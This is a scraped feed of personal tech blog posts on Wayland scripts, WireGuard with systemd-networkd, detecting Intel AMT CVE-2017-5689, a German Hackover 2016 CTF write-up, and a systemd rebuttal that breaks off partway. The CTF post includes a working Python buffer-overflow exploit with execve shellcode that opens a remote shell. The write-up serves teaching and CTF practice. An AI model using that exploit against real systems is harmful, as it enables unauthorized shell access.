</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">VIDEOSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/videoshot&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="nv">$VIDEOSHOTDIR</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>

<span class="nb">readonly</span> <span class="nv">PIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/videoshot.pid&#34;</span>
<span class="nb">readonly</span> <span class="nv">RESOURCEPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/videoshot.txt&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -f <span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  <span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
  <span class="nb">readonly</span> <span class="nv">VIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$VIDEOSHOTDIR</span><span class="s2">/rec-</span><span class="nv">$TIME</span><span class="s2">.mp4&#34;</span>
  <span class="o">(</span>
    wf-recorder -g <span class="s2">&#34;</span><span class="k">$(</span>slurp<span class="k">)</span><span class="s2">&#34;</span> -f <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> <span class="p">&amp;</span>
    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$!</span><span class="s2">&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span>
    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$RESOURCEPATH</span><span class="s2">&#34;</span>
    notify-send <span class="s2">&#34;Start recording&#34;</span> <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span>
    <span class="nb">readonly</span> <span class="nv">PID</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$PIDPATH</span><span class="k">)</span><span class="s2">&#34;</span>
    <span class="nb">wait</span> <span class="s2">&#34;</span><span class="nv">$PID</span><span class="s2">&#34;</span>
    <span class="nb">readonly</span> <span class="nv">VIDPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$RESOURCEPATH</span><span class="k">)</span><span class="s2">&#34;</span>
    <span class="k">if</span> <span class="o">[</span> ! -f <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
      notify-send <span class="s2">&#34;Recording aborted&#34;</span>
    <span class="k">else</span>
      <span class="nb">readonly</span> <span class="nv">OUTPUT</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>fb <span class="s2">&#34;</span><span class="nv">$VIDPATH</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span>
      wl-copy <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
      notify-send <span class="s2">&#34;Video uploaded&#34;</span> <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
    <span class="k">fi</span>
    rm <span class="s2">&#34;</span><span class="nv">$PIDPATH</span><span class="s2">&#34;</span>
    rm <span class="s2">&#34;</span><span class="nv">$RESOURCEPATH</span><span class="s2">&#34;</span>
  <span class="o">)</span> <span class="p">&amp;</span>
<span class="k">else</span>
  <span class="nb">readonly</span> <span class="nv">PID</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>cat <span class="nv">$PIDPATH</span><span class="k">)</span><span class="s2">&#34;</span>
  <span class="nb">kill</span> -SIGINT <span class="s2">&#34;</span><span class="nv">$PID</span><span class="s2">&#34;</span>
</code></pre></div><p>Another topic is pasting passwords from a password manager via rofi into your current window.
The tool <code>xdotool</code> is not available anymore, because it&rsquo;s X11 only, so wayland will not support it.
Luckily there seems to be someone who has created <code>ydotool</code>, it&rsquo;s a replacement for <code>xdotool</code> and uses <code>/dev/uinput</code> as source for the inputs. However I decided against it, because installing two new libraries and <code>ydotool</code> was a too big hassle for me. So I just stick with copying the password into the buffer via <code>wl-copy</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>_rofi<span class="o">()</span> <span class="o">{</span>
  rofi -i -no-levenshtein-sort -lines <span class="m">8</span> <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span>
<span class="o">}</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>gopass list -f <span class="p">|</span> rofi -lines <span class="m">8</span> -dmenu -p <span class="s2">&#34;gopass&#34;</span><span class="k">)</span>
<span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="k">$(</span>gopass show -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy
</code></pre></div><p><strong>Note:</strong> This solution is not perfect, as well, because the output will be stored into the clipboard and the clipboard will not get cleaned up! So using <code>ydotool</code> is might a better solution.</p>
<p>If you experience problems with Java applications like, <code>IntelliJ</code>-IDEs, then you should put the following line in your <code>.zshrc.</code> or <code>.bashrc</code> line:</p>
<pre><code>export _JAVA_AWT_WM_NONREPARENTING=1
</code></pre>]]></content></item><item><title>Wireguard with Systemd</title><link>https://shibumi.dev/posts/wireguard-with-systemd/</link><pubDate>Thu, 22 Feb 2018 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/wireguard-with-systemd/</guid><description>As you might know, systemd-networkd got support for wireguard. The feature is pretty new. So here is my setup:
Server
/etc/systemd/network/wg0.netdev
[NetDev] Name=wg0 Kind=wireguard Description=&amp;#34;Wireguard Server&amp;#34; [WireGuard] PrivateKey=&amp;lt;private key of server&amp;gt; ListenPort=51820 [WireGuardPeer] PublicKey=&amp;lt;public key of client&amp;gt; AllowedIPs=10.0.0.2/24 /etc/systemd/network/wg0.network
[Match] Name=wg0 [Network] Address=10.0.0.1/24 IPForward=True IPMasquerade=True Client
And here comes the interesting part. I don&amp;rsquo;t use systemd-networkd with wireguard on my client. The reasons for this are a modification of wg-quick@wg0.service (I trigger i3blocks via POSIX signals for having a nice VPN icon in my i3statusbar) and the circumstance that systemd-networkd only knows one state: on.</description><content type="html"><![CDATA[<p>As you might know, <em>systemd-networkd</em> got support for <em>wireguard</em>.
The feature is pretty new. So here is my setup:</p>
<p><strong>Server</strong></p>
<p><em>/etc/systemd/network/wg0.netdev</em></p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[NetDev]</span>
<span class="na">Name</span><span class="o">=</span><span class="s">wg0</span>
<span class="na">Kind</span><span class="o">=</span><span class="s">wireguard</span>
<span class="na">Description</span><span class="o">=</span><span class="s">&#34;Wireguard Server&#34;</span>

<span class="k">[WireGuard]</span>
<span class="na">PrivateKey</span><span class="o">=</span><span class="s">&lt;private key of server&gt;</span>
<span class="na">ListenPort</span><span class="o">=</span><span class="s">51820</span>

<span class="k">[WireGuardPeer]</span>
<span class="na">PublicKey</span><span class="o">=</span><span class="s">&lt;public key of client&gt;</span>
<span class="na">AllowedIPs</span><span class="o">=</span><span class="s">10.0.0.2/24</span>
</code></pre></div><p><em>/etc/systemd/network/wg0.network</em></p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[Match]</span>
<span class="na">Name</span><span class="o">=</span><span class="s">wg0</span>

<span class="k">[Network]</span>
<span class="na">Address</span><span class="o">=</span><span class="s">10.0.0.1/24</span>
<span class="na">IPForward</span><span class="o">=</span><span class="s">True</span>
<span class="na">IPMasquerade</span><span class="o">=</span><span class="s">True</span>
</code></pre></div><p><strong>Client</strong></p>
<p>And here comes the interesting part. I don&rsquo;t use <em>systemd-networkd</em> with
<em>wireguard</em> on my client. The reasons for this are a modification of
<a href="mailto:wg-quick@wg0.service">wg-quick@wg0.service</a> (I trigger i3blocks via POSIX signals for having a
nice VPN icon in my i3statusbar) and the circumstance that
<em>systemd-networkd</em> only knows one state: <em>on</em>. So if you would configure
the VPN on your client via <em>systemd-networkd</em> you would run that VPN on
every startup automatically. There are usecases for this, but that are
not my usecases. I don&rsquo;t need the VPN that often. So for my client, I
use the old way with <em>/etc/wireguard/wg0.conf</em> file. Nevertheless here
is the client configuration via <em>systemd-networkd</em>.  Please keep in
mind: I didn&rsquo;t test the client setup&hellip;</p>
<p><em>/etc/systemd/network/wg0.netdev</em></p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[NetDev]</span>
<span class="na">Name</span><span class="o">=</span><span class="s">wg0</span>
<span class="na">Kind</span><span class="o">=</span><span class="s">wireguard</span>
<span class="na">Description</span><span class="o">=</span><span class="s">&#34;Wireguard Client&#34;</span>

<span class="k">[WireGuard]</span>
<span class="na">PrivateKey</span><span class="o">=</span><span class="s">&lt;private key of client&gt;</span>
<span class="na">ListenPort</span><span class="o">=</span><span class="s">51820</span>

<span class="k">[WireGuardPeer]</span>
<span class="na">PublicKey</span><span class="o">=</span><span class="s">&lt;public key of server&gt;</span>
<span class="na">AllowedIPs</span><span class="o">=</span><span class="s">0.0.0.0/0</span>
<span class="na">Endpoint</span><span class="o">=</span><span class="s">&lt;server&gt;:51820</span>
</code></pre></div><p><em>/etc/systemd/network/wg0.network</em></p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[Match]</span>
<span class="na">Name</span><span class="o">=</span><span class="s">wg0</span>

<span class="k">[Network]</span>
<span class="na">Address</span><span class="o">=</span><span class="s">10.0.0.2/24</span>
<span class="na">DNS</span><span class="o">=</span><span class="s">10.0.0.1/24</span>

<span class="k">[Route]</span>
<span class="na">Destination</span><span class="o">=</span><span class="s">10.0.0.0/24</span>
</code></pre></div>]]></content></item><item><title>Intel AMT Vulnerability (CVE-2017-5689)</title><link>https://shibumi.dev/posts/intel-amt-vulnerability/</link><pubDate>Fri, 05 May 2017 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/intel-amt-vulnerability/</guid><description>What is CVE-2017-5689? CVE-2017-5689 is a vulnerability in the Intel Active Management Technology. It allows an unprivileged network attacker to gain system privileges to provisioned Intel manageability SKUs like Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on AMT, ISM and Intel Small Business Technology (SBT).1
Note that only AMTs with firmware version 6.</description><content type="html"><![CDATA[<h2 id="what-is-cve-2017-5689">What is CVE-2017-5689?</h2>
<p>CVE-2017-5689 is a vulnerability in the Intel Active Management
Technology. It allows an unprivileged network attacker to gain system
privileges to provisioned Intel manageability SKUs like Intel Active
Management Technology (AMT) and Intel Standard Manageability (ISM).
An unprivileged local attacker could provision manageability features
gaining unprivileged network or local system privileges on AMT, ISM
and Intel Small Business Technology (SBT).<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>Note that only AMTs with firmware version 6.x and above are affected.</p>
<p>Intel describes AMT as a <em>feature</em> of Intel Core processors
with VPro technology and Intel Xeon processors. This <em>feature</em> allows IT
or managed service providers to <em>better discover, repair and protect
their networked computing assets</em>.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2 id="how-to-detect-if-i-am-affected">How to detect if I am affected?</h2>
<p>Well, there are different ways to check if you are detected, but I would
go with them all. First: Intel has released a detection guide for this
issue: <a href="https://downloadcenter.intel.com/download/26755">https://downloadcenter.intel.com/download/26755</a></p>
<p>But sadly their detection tool runs only on Windows 7 and Windows 10. So
here are other ways to detect if you are affected by it:</p>
<p>One way is to check for the right chipset. You can search in <code>lspci</code> for
the following <em>buzzwords</em>:</p>
<ul>
<li>MEI</li>
<li>KT</li>
<li>IDER</li>
<li>HECI</li>
</ul>
<p>But this alone, is <strong>not</strong> a garantuee. It is possible that <code>lspci</code> has
problems with detecting one of those and even if you have one of those
they can be disabled (so no need for panic).</p>
<p>Another way is to simply check your bios for this feature. You can do
this in the BIOS settings or via <code>dmidecode</code> and searching for your
processor on some Intel pages or the web.</p>
<p>If you want to scan your personal network for devices with this
vulnerability you can use nmap for it:</p>
<p><code>nmap -p16992,16993,16994,16995,623,664 &lt;target range&gt;</code></p>
<p><strong>this doesn&rsquo;t include the host who runs nmap</strong></p>
<p>This will scan for open ports, because if AMT is enabled correctly it
will spawn a webserver on one of these ports.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>There is also a CVE-2017-5689 detector written in python:</p>
<p><a href="https://github.com/CerberusSecurity/CVE-2017-5689">https://github.com/CerberusSecurity/CVE-2017-5689</a></p>
<p>Some companies have also released security bulletins:</p>
<ul>
<li><a href="https://support.hp.com/us-en/document/c05507350">https://support.hp.com/us-en/document/c05507350</a></li>
<li><a href="https://communities.intel.com/thread/114093">https://communities.intel.com/thread/114093</a></li>
<li><a href="https://communities.intel.com/thread/114092">https://communities.intel.com/thread/114092</a></li>
<li><a href="https://communities.intel.com/thread/114071">https://communities.intel.com/thread/114071</a></li>
<li><a href="http://support.ts.fujitsu.com/content/Intel_Firmware.asp">http://support.ts.fujitsu.com/content/Intel_Firmware.asp</a></li>
</ul>
<p>AMT is also a part of the following chipsets:</p>
<p>Q57, Q67, Q77, Q87, Q170, Q65, B65, Q75, B75, Q85, B85, Q150, B150,
Q250, B250.</p>
<p>Matthew Garret wrote more about this vulnerability: <a href="https://mjg59.dreamwidth.org/48429.html">https://mjg59.dreamwidth.org/48429.html</a></p>
<p>He has also created a tool for linux that detects Intel AMTs:
<a href="https://github.com/mjg59/mei-amt-check">https://github.com/mjg59/mei-amt-check</a></p>
<h2 id="how-to-mitigate-this">How to mitigate this?</h2>
<p>Intel has released a mitigation guide for this vulnerability: <a href="https://downloadcenter.intel.com/download/26754">https://downloadcenter.intel.com/download/26754</a></p>
<p>Another way is to disable it in the BIOS or with pressing <code>CTRL+P</code> while
booting when the AMT message is displayed.</p>
<h2 id="how-does-the-vulnerability-look-like-in-detail">How does the vulnerability look like in detail?</h2>
<p>The company <em><strong>emedi</strong></em> has released their proof of concept for CVE-2017-5689:</p>
<p><a href="https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf">https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf</a></p>
<section class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1" role="doc-endnote">
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689</a> <a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p><a href="https://www-ssl.intel.com/content/www/us/en/architecture-and-technology/intel-active-management-technology.html">https://www-ssl.intel.com/content/www/us/en/architecture-and-technology/intel-active-management-technology.html</a> <a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p><a href="https://unix.stackexchange.com/questions/362686/how-to-detect-and-mitigate-the-intel-escalation-of-privilege-vulnerability-on-a">https://unix.stackexchange.com/questions/362686/how-to-detect-and-mitigate-the-intel-escalation-of-privilege-vulnerability-on-a</a> <a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</section>
]]></content></item><item><title>Hackover 2016</title><link>https://shibumi.dev/posts/hackover-2016/</link><pubDate>Mon, 01 May 2017 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/hackover-2016/</guid><description>Eigentlich wollte ich diesen Artikel schon Ende Oktober 2016 runterschreiben, kam aber leider noch nicht dazu. Naja, besser spät als nie. Letzten Oktober war ich auf dem Hackover in Hannover. Dieses Mal wurde da ein phänomenales CTF vom CTF-Team des Hamburger CCC veranstaltet. Eine der Challenges möchte ich euch nicht vorenthalten. Da der Server, der das CTF gehandled hat bereits abgeschaltet worden ist, muss man etwas improvisieren. Am besten dazu eignet sich eine VM mit GNU/Linux (vorzugsweise Arch Linux natürlich).</description><content type="html"><![CDATA[<p>Eigentlich wollte ich diesen Artikel schon Ende Oktober 2016 runterschreiben,
kam aber leider noch nicht dazu. Naja, besser spät als nie. Letzten Oktober war
ich auf dem <a href="https://hackover.de/">Hackover</a> in Hannover. Dieses Mal wurde da
ein phänomenales CTF vom CTF-Team des <a href="https://www.hamburg.ccc.de/">Hamburger
CCC</a> veranstaltet. Eine der Challenges möchte ich
euch nicht vorenthalten. Da der Server, der das CTF gehandled hat bereits
abgeschaltet worden ist, muss man etwas improvisieren. Am besten dazu eignet
sich eine VM mit GNU/Linux (vorzugsweise Arch Linux natürlich). Dann kann man
die Binary nämlich getrost lokal ausführen mit der folgenden Zeile:</p>
<p><code>socat TCP-LISTEN:6666,bind=localhost,reuseaddr,fork EXEC:./ez_pz</code></p>
<p>Ob alles geklappt hat kann man mit <code>gnu-netcat</code> überprüfen:</p>
<p><img src="/img/ez_pz_1.png" alt="gnu-netcat in action"></p>
<p>Da wir einen Login-Dialog bekommen hat alles geklappt. Wir sehen etwas
ASCII-Art, ein paar Sprüche und eine Frage:&ldquo;What&rsquo;s your Name?&quot;.
Was aber noch viel wichtiger ist, ist die Speicheraddresse die wir da
sehen (gemeint ist der Hex-String). Diese Adresse wird noch sehr
hilfreich werden. Wenn wir das ganze etwas durchprobieren merken wir,
dass sich diese Adresse immer wieder ändert. Vermutlich ist das unsere
Rücksprungsadresse. Also die Addresse zu der wir später springen müssen
um die Challenge zu beenden. Ok werfen wir einen Blick auf die binary
mit einem meiner Lieblingstools <code>radare2</code>:</p>
<p><img src="/img/ez_pz_2.png" alt="radare2 in action"></p>
<p>Was wir hier sehen ist die <code>main</code>-function. Interessant für uns ist hier
allerdings nur der Aufruf: <code>call sym.chall</code>. <code>sym.header</code> beherbergt
anscheinend nur die Ausgabe des Headers. Diesen Part können wir also
getrost ignorieren. Schauen wir uns also mal <code>sym.chall</code> an:</p>
<p><img src="/img/ez_pz_3.png" alt="radare2 in action2"></p>
<p>Was sofort ins Auge fällt ist folgende Zeile die nicht ins Gesamtbild
passt:</p>
<p><code>0x080486b0      6853880408     push str.crashme ; str.crashme ; &quot;crashme&quot; @ 0x8048853</code></p>
<p>Anscheinend ist dies unser Magic-String den wir treffen müssen um in die
Funktion <code>sym.vuln</code> zu springen. Ansonsten landen wir nur bei dem <code>nop</code>
in <code>0x080486df</code>. Gut schauen wir uns mal diese <code>sym.vuln</code> an. Der Name
ist ja bereits so verräterisch:</p>
<p><img src="/img/ez_pz_4.png" alt="radare2 in action3"></p>
<p>Anscheinend handled die Application den Null-Terminator falsch. Heißt
wir können eine Eingabe machen, diese mit dem Null-Byte terminieren und
dann weiterschreiben. Alles was wir weiterschreiben wird anscheinend
direkt in den Speicher geschrieben. Anhand dieses Wissens können wir nun
einen exploit komponieren, der alle Voraussetzungen erfüllt und uns dann
eine Shell poppt. Alles was wir machen müssen ist unseren Magic-String
<code>crackme</code> zu senden, dann einen Null-Terminator, dann eine <code>NOP</code>-Sled in
die wir hereinspringen können, dann die Addresse aus dem Header mit der
wir dann wiederum zu dem Shellcode springen können der gleich hinter
einer weiteren <code>NOP</code>-sled liegt.</p>
<p>Das Ergebnis sieht dann mit <code>Python</code> zum Beispiel so aus:</p>
<div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="ch">#!/usr/bin/env python2</span>
<span class="c1">#-*- coding: utf-8 -*-</span>

<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="kn">import</span> <span class="nn">telnetlib</span>


<span class="n">t</span> <span class="o">=</span> <span class="n">telnetlib</span><span class="o">.</span><span class="n">Telnet</span><span class="p">(</span><span class="s2">&#34;127.0.0.1&#34;</span><span class="p">,</span> <span class="mi">6666</span><span class="p">)</span>
<span class="n">data</span><span class="o">=</span><span class="s2">&#34;&#34;</span>

<span class="n">regex</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s2">&#34;0x[0-9a-f]{8}&#34;</span><span class="p">)</span>

<span class="n">data</span> <span class="o">=</span> <span class="n">t</span><span class="o">.</span><span class="n">read_very_eager</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">match</span> <span class="o">=</span> <span class="n">regex</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">match</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">lstrip</span><span class="p">(</span><span class="s2">&#34;0x&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n\0</span><span class="s2">&#34;</span><span class="p">)</span>
<span class="n">rip</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s2">&#34;Matched Address: &#34;</span><span class="p">,</span> <span class="n">match</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">rip</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&#34;&gt;I&#34;</span><span class="p">,</span> <span class="n">rip</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s2">&#34;Our RIP: &#34;</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">rip</span><span class="p">))</span>


<span class="n">shellcode</span><span class="o">=</span><span class="s2">&#34;</span><span class="se">\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80</span><span class="s2">&#34;</span>
<span class="n">payload</span><span class="o">=</span><span class="s2">&#34;crashme&#34;</span>            <span class="c1"># magic-string zum crashen der application</span>
<span class="n">payload</span><span class="o">+=</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span>              <span class="c1"># Null-Terminator</span>
<span class="n">payload</span><span class="o">+=</span><span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">18</span>         <span class="c1"># 1. Nop-sled</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">rip</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span> <span class="o">*</span> <span class="mi">200</span>        <span class="c1"># 2. Nop-sled</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">shellcode</span>


<span class="n">t</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
  <span class="n">data</span> <span class="o">=</span> <span class="n">t</span><span class="o">.</span><span class="n">read_very_eager</span><span class="p">()</span>
  <span class="k">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
  <span class="nb">input</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s2">&#34;CMD&gt; &#34;</span><span class="p">)</span>
  <span class="n">t</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">input</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>

<span class="n">t</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div><p>Zum Schluss muss man nur noch den richtigen Server und port eintragen
und schon poppt eine Shell auf. Voila!</p>
]]></content></item><item><title>Why suckless is wrong</title><link>https://shibumi.dev/posts/why-suckless-is-wrong/</link><pubDate>Wed, 19 Oct 2016 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/why-suckless-is-wrong/</guid><description>Many people pointed me to this website suckless when a discussion about systemd began. Now I got tired of summarizing why this blogpost is so wrong over and over again. This time I want to write it down that other people have arguments when they got pointed to this website. This can take a while so feel free to grab a coffee or a cold mate.
Let us begin with the second abstract:</description><content type="html"><![CDATA[<p>Many people pointed me to this website <a href="http://suckless.org/sucks/systemd">suckless</a> when a discussion about systemd
began. Now I got tired of summarizing why this blogpost is so wrong over
and over again. This time I want to write it down that other people have
arguments when they got pointed to this website. This can take a while
so feel free to grab a coffee or a cold mate.</p>
<p>Let us begin with the second abstract:</p>
<h2 id="what-pid-1-should-do">What PID 1 Should Do</h2>
<p><em>When your system boots up the kernel is executing a given binary in its
known namespace. To see what are the only tasks the application running
as pid 1 has to do, see sinit. Just wait for child process to reap and
run some other init scripts.</em></p>
<p>First of all: <strong>systemd</strong> was <strong>never</strong>, is <strong>not</strong> and will <strong>never</strong>
be an init system. It is a system-<strong>daemon</strong>. Thats why it&rsquo;s called
system<strong>d</strong>. Moreover we don&rsquo;t live in 1980 anymore. The view and the
purpose of computers had changed completely since this time. We want to
have access on logs in pre-early-boot-time and we want to be sure that
several things are done during the boot process. Computers are not just
a server in some university anymore. Many people use GNU/Linux in their
workstations or notebooks nowadays.</p>
<h2 id="systemd-does-uefi-bootload">systemd does {,U}EFI bootload</h2>
<p><em>Should systemd’s PID be changed from 1 to a negative, or imaginary,
number? It now exists before the kernel itself, during a bootup. See
also systemd-boot.</em></p>
<p>Again. system<strong>d</strong> is not only an init system. Is the same as if I said:</p>
<p><em>Should grub&rsquo;s PID be changed from 4235 to a negative, or imaginary,
number? It Now exists before the kernel itself, during a bootup. See
also syslinux</em></p>
<p>As you see this sentence is absolutly ridiculous. Systemd has a
<strong>module</strong> and this <strong>module</strong> is managing the EFI entries in the EFI
bootloader. <strong>systemd-boot</strong> is not booting the system. It is just a
boot-manager! <strong>EFI</strong> does!</p>
<h2 id="systemd-replaces-sudo-and-su">systemd replaces sudo and su</h2>
<p><em>Please note the command name, machinectl and its features at the
manpage. In exchange for a program which contains sudo, su and kill (and
does some functions which historically ssh/telnet did), bare metal users
have a tons of bloat and a lot of things to disable, if even possible,
useful only to people which deal with virtual machines.</em></p>
<p>First of all: <strong>systemd-machined</strong> or better <strong>machinectl</strong> will never
replace sudo or su. Do not worry. Secondly <strong>machinectl</strong> is totally
different than sudo or su. <strong>machinectl</strong> gets its information from
<strong>polkit</strong> via <strong>dbus</strong>. <strong>polkit</strong> is a much nicer way to define
permissions-rules. <strong>sudo</strong> and <strong>su</strong> has different weak points, one of
them is that <strong>sudo</strong> and <strong>su</strong> can not talk via <strong>dbus</strong> nor any other
IPC daemon. I think you know this moment when you forgot to type
<strong>sudo</strong> in front of a command. With <strong>polkit</strong> you don&rsquo;t have this
situation because the system service will just ask for a permission via
<strong>IPC</strong>. And yes.. you will need this for some stronger security
policies than just kernel-based permissions. You can find more about
this topic here:
<a href="https://www.collabora.com/about-us/blog/2015/06/08/why-polkit-(or,-how-to-mount-a-disk-on-modern-linux)">why-polkit</a></p>
<h2 id="systemd-journald-can-do-log-rotate">systemd-journald can do log-rotate</h2>
<p><em>Being journal files binaries written with easily corruptable
transactions, does this feature make the log unreadable at times?</em></p>
<p>Nope. Sorry. It will not get unreadable. I am running systemd now for
years and I had never an unreadable log.</p>
<h2 id="transient-units">Transient units</h2>
<p><em>Temporary services, because we love to reinvent procps, forking, nohup
and lsof.</em></p>
<p>What is so wrong with this feature? I think it is a good idea when an
Administrator can pass environment-variables to a service or set
security features via kernel capabilities.</p>
<h2 id="systemd-does-socatnetcat">systemd does socat/netcat</h2>
<p>This feature is being used in the socket-activation. Something that is
pretty awesome. Why do you want socket-activation? Think about the boot
process. Let us say we start different services at the same time in
parallel. (This is what systemd does because it is increasing the speed
a lot. What is nicer than a laptop that boots up in 0.5 seconds?). When
we start different services in parallel it can happen that a service is
for example earlier ready when the log daemon. In this case socket
activation rescues your day. Because with socket activation the other
service does not need to wait for the log daemon. Every output from this
service will be buffered in the activated socket and will be forwarded
to the log daemon when the log daemon is ready.</p>
<h2 id="systemd-logind-does-sighup-and-nohup">systemd-logind does sighup and nohup</h2>
<p><em>Logout is equivalent to shutting off the machine, so you will NOT have
any running program after logout, unless you inform your init system.</em></p>
<p>Why should it be the other way around? When a user logs out from a
session I want that every process by this user is killed. Especially the
gnome desktop had the problem that even after logouts zombie processes
survived or other artifacts that burn your ram. You do not realize this
on your single-user-system but ask someone who is managing
infrastructure for thousands of users. You don&rsquo;t want to waste any
memory. And even when we say:</p>
<p><em>Ok! Let us do your way</em></p>
<p>We will have one problem. We will allow every program to survive a user
session. You have to see it out of the blacklist-whitelist-view.
What is better a whitelist or a blacklist?
